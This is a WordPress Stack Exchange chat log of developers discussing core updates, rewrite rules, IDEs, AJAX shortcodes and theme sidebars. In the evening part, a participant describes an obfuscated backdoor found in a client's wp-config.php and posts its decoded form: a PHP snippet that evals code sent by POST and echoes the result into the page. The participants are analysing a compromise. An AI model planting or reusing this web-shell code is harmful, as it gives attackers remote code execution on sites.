« first day (1118 days earlier)      last day (3826 days later) » 

12:07 AM
Oh Colleen, you're not alone.
Mr @StephenHarris said it best.... The new WP updates... it's like lipstick on a pig... it's still a pig!
 
12:43 AM
@bungeshea James Farmer is just trolling for linkbait
I'll just quote my response at WPTavern:
I saw that article, too. It was a rather pedestrian effort; one might even call it: boring.

The real experimentation with WordPress 3.8 isn’t necessarily the features being added/updated, but rather the development method. This will be the first release to attempt to incorporate code/features that were first developed and matured as “core” Plugins, and then blessed for incorporation into core once deemed mature enough.

If this approach works, it could revolutionize WordPress development cycles, and vastly increase the rate and scope of changes and improvements in core.
 
Maybe developing plugins for future "core" consideration is just the WordPress way of maintaining branches (think Git), something they should be doing anyway.
 
Also, reading between the lines, he's just pissy that the MP6 changes are going to adversely impact WPMU's Plugins. I'm guessing they're doing things (with menus, etc.) outside of coding standards/best practices, and it's getting ready to bite them.
 
most stuff that gets broken by MP6 at the moment is already balanced precariously, or complicated. Although they added a border in earlier builds of MP6 to a class that never used to have one, which threw off a lot of stuff
 
1:00 AM
@ChipBennett WPMUDev always bag on WordPress hard! But I have to agree with his post. Its boring. I want to hear about infrastructure and not just because I'm a dev and care more about API than some widget clicker, but because WP is seriously lacking in places like... its freaking database.
 
1:30 AM
@userabuser the CEUX idea was really cool but it died, I guess the json API will work into core one of these days
 
CEUX?
 
@Wyck I like that... "one of these days..." ;)
 
it was originally an idea for a more CMS like "content blocks", but at the end it seemed to just roll into another version of post formats
 
it looks like a nicer version of the content edit box that fixes the 'add media' button UI nonsense at the top
 
original screens I saw^
notice the +insert block
 
 
2 hours later…
3:13 AM
1
Q: What to do with url-rewriting tag

G. M.For the initiative adopt a tag I decided to adopt <url-rewriting> and related tags. I've started yesterday tasting the territory and, really, it's a mess. I'm asking here to decide a rule I've to follow to make order in it. Existing tags Actually existing related tags are: <url-rewriting> (...

 
3:39 AM
Can anyone provide any hints as to what I could be doing wrong here? wordpress.stackexchange.com/q/121434/10691 (So that I can try to fix it myself instead of waiting for the answer.)
 
@its_me read your server’s error log.
 
one thing I keep forgetting. will do right away
 
3:58 AM
> PHP Fatal error: Unsupported operand types
And it's pointing to this line:
$wp_rewrite->rules = $new_rules + $wp_rewrite->rules;
But that's how everyone's doing it.
 
hm, not sure now. Tried array_merge()?
 
No. Shouldn't I try global $wp_rewrite; first? It's an mu-plugin which is probably why I am getting the error in the first place
global $wp_rewrite; Didn't work. Let me see if array_merge() does it
Okay. I think I identified the problem: "Probably either $new_rules or $wp_rewrite->rules is not an array at the moment you want to combine them." stackoverflow.com/a/1989586/1071413
Not sure about the fix though... let me see
Damn it!
@toscho The variable I created is $newrules, and I am using $new_rules
How much more stupid can it get?!
 
aren’t you using an IDE?
 
@toscho No :(
 
that’s the stupid part :)
 
4:13 AM
@toscho yeah. I forgot the name. What's the name of the IDE you use?
JetBrains PhpStorm
got it!
 
currently, I use Eclipse. Will switch to PHPStorm probably
 
Oh... I'll give it a try then. It works for so many languages; should be worth learning
 
An IDE will highlight all occurrences of a variable, when you focus one instance. So you will see where it comes from immediately.
 
Ah, Sublime Text does this too. I was too blind to realize :P
@toscho By the way, should I delete the question now that it's a PHP code problem?
 
yes
 
4:17 AM
ok
 
 
2 hours later…
5:48 AM
@TomJNowell looks nice, although now I'd also consider one of those new 29" that are same height but even wider
 
 
2 hours later…
7:49 AM
@toscho what colour scheme is that?
 
8:20 AM
0
A: Is it possible to run an add_filter() through a cron job?

adnanyou can make custom template & excute add filter through it with cron job like this <?php /* Template Name: template name goes here */ ?> your code goes here then go to admin panel > pages > new page > put any title you want > change the tempalte of the page to the new one that's all

This adnan guy really is slightly confused, but at least he tries to help :)
 
anu
9:07 AM
@Rarst Resolution very low for a 27" screen I think, but that's probably why it's so cheap
 
@anu fullhd is budget/normal for 27", 2560x1440 ones are much more expensive
and I am glad I lived to the days when ~$300 for 27" IPS is "so cheap"
 
anu
@Rarst :) Although at that resolution I'd probably go for a 24"
But yeah. monitor prices are crazy
 
works for me but my eyesight is crap so I don't care much about variations in pixel density :)
not changing displays anyway until next time I change desktop internals, because my CPU simply doesn't have enough parrots for 2560x times two (or three)
 
anu
Yeah - just got a new iMac, screen even nice than the last, but also still loving my Dell 24" ultrasharp - such a nice display
Wow - never seen this dimensioning on a display before
2560x1080 on a 29" screen
 
it's newish
 
anu
9:18 AM
Trying to work out if I like it or not
 
it makes sense, horizontal scroll is pain and it's 1280x2 while 1920 is less than 1024x2
three of those in portrait would be about ideal coding config :)
 
anu
Yeah, that's what came to mind, it's like 2x1280 displays bolted together internally -
:)
My Dell is always in portrait mode, but always used for browser, PHPStorm on main display
 
that's probably very intentional to market is as fancier replacement for larger quantities of cheap ~19" in video walls
I have one portrait, one landscape
 
I'd go all portrait for coding/browsing but then I would need to get large TV for video :)
 
anu
9:24 AM
:)
 
I need to make sense of new live refresh setup in phpstorm....
 
anu
How has it changed? I'm not using it
 
it was somewhat flaky with autodetection so they changed it in 7 and tied it to JS debug session
 
hello everybody
 
hiya
 
9:28 AM
any body here?
 
no body
 
Thats nice
 
@GhostToast always one for a contest :)
 
anu
@Rarst will play with it one day, see whether it's worth dumping livereload/codekit
 
I am still on the fence about it, it works great for HTML, but it's hard for it to grok when you have bunch of PHP stuff
 
9:31 AM
any body here expeirenced in bootstrap?
 
some
 
anu
What annoyed me about it when they released was how it tried to refresh almost every keystroke, so would show PHP errors while I was typing the freaking line
 
I need to figure out why it keeps freaking at http in href... can't google anything up, might screwed up something in config
ha, had fresh idea and that was it - it was trying to detect XML in HTML
 
Nice: Uberspace/Host now has PHP 5.5.4 as default on their new rigs.
 
10:00 AM
@StephenHarris Before WCEU I sent you the updated version of our Image Picker Widget. Did you get that? Just found out that 3.7.1 destroyed a bit of it. Script not working before reload, custom caption box not open per default and textarea out of new MP6 style textarea.
 
10:15 AM
@kaiser mmm... can't find it... Is it not hosted on repo somewhere?
 
10:28 AM
@StephenHarris nope, dropbox it was IIRC
yep, dropbox
@StephenHarris sent you a link
 
@userabuser manually tweaked over the years
 
@kaiser Got it cheers. Will check over it later if thats ok
 
10:49 AM
Sure. Just push to the repo directly and ping me if there're changes. Haven't looked into it yet.
 
11:03 AM
@Rarst Do you know what the replacement for google charts API (geo visualization) was?
 
what do you mean replacement?
 
Charts API will end.
 
yeah
 
What comes after that? Nothing?
 
yep
 
11:05 AM
damn it...
they are all appearing in the header. — mantis 6 mins ago
User says scripts not loading in footer. Asked for link. Checked site. Everything's fine. facepalm
 
11:31 AM
Right now, we have 126110 comments on our site. Wow.
 
12:13 PM
@kaiser note that JS stuff stays developers.google.com/chart/interactive/docs/gallery/geochart , they only killed static images
 
 
1 hour later…
1:17 PM
ah, kool.
 
1:35 PM
Anybody good with ajax hooks/callbacks? I suspect that the hook used is related to the shortcode not getting parsed, but it's not my area of expertise:
0
Q: do_shortcode inside functions.php

MidhuNI have a function in functions.php which displays posts in a specific category using ajax. add_action( 'wp_ajax_ajaxified_function', 'ajaxified_function' ); add_action( 'wp_ajax_nopriv_ajaxified_function', 'ajaxified_function' ); function ajaxified_function() { $post = get_post($_POST['pos...

 
1:47 PM
@ChipBennett we can assume that most of his AJAX works. But I dunno what the heck this script inside the response should be
 
@kaiser so how do we target him to the crux of his problem? (Assuming there are no syntax or other trivial issues with the code.)
 
I told him to try with the_content filter. lets see..
 
@ChipBennett Answered that. Point is that no one should fire shortcodes in AJAX callbacks. Those are admin requests and IIRC can't handle shortcodes. Therefore he should simply pass the completely rendered shortcode output through as part of the localized script tag.
 
@kaiser He should be using the shortcode's callback for that. I'm sure Contact7 must have a proper API for it...
 
0
A: do_shortcode inside AJAX callback

kaiserThe How It would be much better and easier if you'd just add the script directly to the main body instead of the AJAX call. The same goes with the shortcode result. Just use the shortcode as argument inside wp_localize_script(): wp_localize_script( 'script-handle', 'pluginObject', array( '...

Including greetings from @StephenHarris
 
2:01 PM
@kaiser Tell him I said "Hi" :)
 
2:21 PM
Is rewrite_rules_array recommended over generate_rewrite_rules for adding custom rewrite rules?
(I am told so, just wanted to confirm)
 
2:32 PM
@ChipBennett @StephenHarris take a look at his comment to my answer... facepalm head/desk ... now he wants to go back to his other question as he asked the current one just because no one responded "in time"...
But I like his site. The team seems to consists only out of Presidents and Directors :)
 
@kaiser why is asking good questions so hard?
 
Why is explaining the goal properly so hard?
 
Part of why WPSE becomes tedious and frustrating is because we end up spending way too much time trying to get people to rehabilitate their questions so that they are answerable.
 
Indeed.
I leave loads of comments. Approximately 80% don't react or respond.
But the thing that really gets me to the edge is when people already have asked 30+ questions and still don't get the basics.
 
people suck, don't let it get to you
2
 
2:45 PM
@Rarst ...that's usually when I just stop trying to answer questions for a while
Especially when people react unnecessarily to comments intended to help improve their questions
 
3:01 PM
Should add_rewrite_rule be done on init action?
 
30
A: Need help with add_rewrite_rule

Jan FabrySome background on rewrite rules The WP Rewrite system looks complicated, but in fact it's not that hard to understand how it works. It is used to parse pretty URLs (/designers/) as if they were non-pretty (/index.php?pagename=designers). The basic idea is that you have a list of rewrite rules, ...

 
@kaiser Saw that question, and was blind enough to not see the answer. :/ Thanks!
 
np
 
3:38 PM
How many things are wrong with this code? Let us count the ways:
0
Q: 3 random images from custom post type, each in a div with a diffrent class

MaartjeI'm trying to build a loop using query posts to display 3 featured images from the custom post type 'portfolio'. My problem is that each picture has to be in a div with a diffrent class, so i was thinking of tree diffrent loops, but than you have a problem that sometimes a picture is showing two ...

query_posts(), TimThumb, get_bloginfo( 'template_url' ), unreadable PHP/HTML markup...
 
@ChipBennett come on, everyone has to start somewhere
 
@toscho I know... and I want to help clean up those things, but doing so would be off-topic for the question being asked, for the most part.
I guess it's just natural to assume that most such code is derived from copy-pasta from some outdated tutorial.
 
it is actually not a bad question. clearly explained the goal, documented research efforts and thinking about different ways to solve it
 
@toscho And it received a good answer, so that's all good
 
the good thing with those questions is: it reminds us where we have started :)
I am sitting on a draft right now, Thinking in Objects, and I wonder if I should start that with a God object …
 
3:54 PM
@toscho education efforts work :)
Thanks, I didn't know this. It is weird how during my internship I learned all those things that appeared to be wrong later.. ? =/ — Maartje 2 mins ago
 
anu
TimThumb had a vulnerability, but doesn't anymore.
 
and there are legitimate use cases for query_posts()
 
4:10 PM
@toscho I would posit that anyone who actually finds a legitimate use case for query_posts() as the only/best option already knows the code well enough not to need to ask a basic loop question.
@anu if used improperly, it is still potentially insecure. Core Featured Image feature is not.
 
anu
@ChipBennett By that logic, you should be warning people that WordPress is insecure.
 
@anu obviously, it is. Plugins have the keys to the kingdom.
@anu it is the third-party script that is the risk, not core itself
 
anu
@ChipBennett No, not plugins, WordPress. There have been > 100 vulnerabilities in core over the years.
 
@anu yep
 
@toscho like for the use of Comic Sans
 
4:24 PM
uhm …
 
query_posts() is the WordPress version of Comic Sans
 
nope
 
sure
you may now repeat: nope
 
4:32 PM
(dialog above is to be read in rap battle style)
 
5:02 PM
@toscho you'd best not publicise this further
 
 
1 hour later…
6:15 PM
found a client who had a really weird windows host. wp-config.php had all this weird eval stuff in it. something like if isset $_GET[wp251ce], then had this huge array of numbers and eval all of them...
i deleted the shit out of it, naturally. but wonder what the hell it was.
 
reverse engineer?
 
note, the value in the GET was not exactly what i wrote. similar. and it wasn't a string
 
btw, good chance that you client got hacked :)
@GhostToast HEX maybe
 
was processing substr(8, 1) foreach of a huge array
which had maybe 400 integers, all less than 1000 in size. many repeated
perhaps it would spit out language....
 
Ctrl + Z until you got the thing back. Then reverse engineer. Else we can say crap what happened :)
 
6:19 PM
foolishly, i have lost that change. i should have saved it somewhere
wait i found it
assuming each integer is a unicode character
brb going to lunch
decoder found nothing in its present state
 
Now, here's an interesting question: When doing cross domain AJAX requests - how do I hook my own AJAX callback into it?
 
7:01 PM
@GhostToast waits for POST of PHP code, executes it and outputs result hidden into page
 
7:28 PM
@Rarst any safe way for us to evaluate what it said/says ?
 
just dump $d instead of eval
 
7:39 PM
@Rarst $p=@$_POST['p1'];$m=sprintf("%c",92);if(strpos($p,"$m$m")){$p=stripslashes($p);‌​}ob_start();eval($p);$temp="document.getElementById('PhpOutput').style.display=''‌​;document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(o‌​b_get_clean()),"\n\r\t\\'\0")."';\n";echo(strlen($temp)."\n".$temp);exit;
that is var_dump($d)
 
I know :)
 
7:55 PM
hi guys
if anybody can help. how am i supposed to override a sidebar from a parent theme using the functions.php in my child theme?
 
by... hands?
 
@reikyoushin that seems like a valid question for main site
 
@Rarst but it's wordpress specific..
 
yes, so?..
 
how do people distinguish if it's for SO vs WP.SE?
or are you saying i ask in WP.SE?
 
7:58 PM
I meant WPSE
 
sorry i was used to referring to SO as the 'main site'
okay, i'll ask. thanks!
 
well, this is WPSE room, thus main is our main :)
 
@reikyoushin blasphemy!
 
@toscho sorry. T-T
im a newb here.. you can tell by my rep here. oh well. i'm gonna ask now on the main site. thanks!
 
@reikyoushin you excited about firefox OS?
 
8:07 PM
@GhostToast not much, why? is it about my pic?
 
yar
 
btw, i have posted a question now.. will be back in a bit.. thanks!
 
@reikyoushin avoid using "Thanks!" and unnecessary stuff. thanks. going to edit it
 
@GhostToast i just think android guy wearing a firefox shirt is cool.. nothing more than that
@GhostToast ok, no problem
 
8:40 PM
does anybody know where i can find the id of a sidebar?
 
chrome?
 
@GhostToast from register_sidebar()
the parent theme specified a name but no id upon registration, now i dont know how to unregister it
 
can you not look in parent theme's functions /
oh. no id param
is probably just sanitized name i'd guess
 
i have this..
register_sidebar( array(
'name' => 'Footer',
'before_widget' => '<div class="span3">',
'after_widget' => '</div>',
'before_title' => '<h6 class="footer-widgets-item">',
'after_title' => '</h6><hr>',
));
but using unregister_sidebar('Footer'); doesnt work..
should i have used the lower case 'footer'?
oh man, it had sidebar-4 as its ID.. not specifying an ID sucks T-T
 
9:01 PM
user image
2
 
@GhostToast what's that?
 
some bling i added to the back of one of my monitors :P
 
@GhostToast is that the one you put on the back of a car? (and your monitor is samsung, hehe)
 
@reikyoushin yea. you can buy whatever letters. actually is acer monitor
 
@GhostToast hmm, that's a nice idea.. imma get one myself. ^_^
 
9:08 PM
yea was like $1.29 per letter at autozone
 
anyway, i've got my answer from my question now. i will now go back to room 11.. thanks for being hospitable here ^_^
 
always welcome here
 
@GhostToast g'night!
 
@reikyoushin later
 

« first day (1118 days earlier)      last day (3826 days later) »